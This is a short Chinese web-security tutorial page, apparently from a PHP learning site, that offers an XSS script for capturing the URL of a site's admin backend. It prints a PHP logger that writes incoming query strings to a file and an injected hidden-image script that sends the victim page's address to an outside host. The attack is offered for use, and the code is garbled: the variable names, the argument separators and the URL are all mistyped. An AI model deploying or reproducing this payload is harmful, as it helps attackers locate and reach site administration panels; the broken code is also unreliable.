XSS截获网站后台路径脚本 - 网站安全

XSS截获网站后台路径脚本 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] cook.php?$info = $_SERVER[#39;QUSEY_STRING#39;];if ($info) {$fp = fopen(info.txt.a);fwrite($fp.$info.\n);fclose($fp);}?使用代码：插入:img name=ak width=0 height=0 border=0......

cook.php

<?
$info = $_SERVER['QUSEY_STRING'];
if ($info) {
$fp = fopen("info.txt"."a");
fwrite($fp.$info."\n");
fclose($fp);
}
?>

使用代码：

插入:

<img name="ak" width=0 height=0 border=0></img><script>document.ak.src="http://www.2cto.com /cook.php?"+windows.location.href;</script>

转自：bai度id已禁 blog

WordPress的3.2.1核心模块post-template.php XSS漏洞及修复

知乎一个存储型跨站漏洞及修复 - 网站安全 - 自

子栏目

XSS截获网站后台路径脚本 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论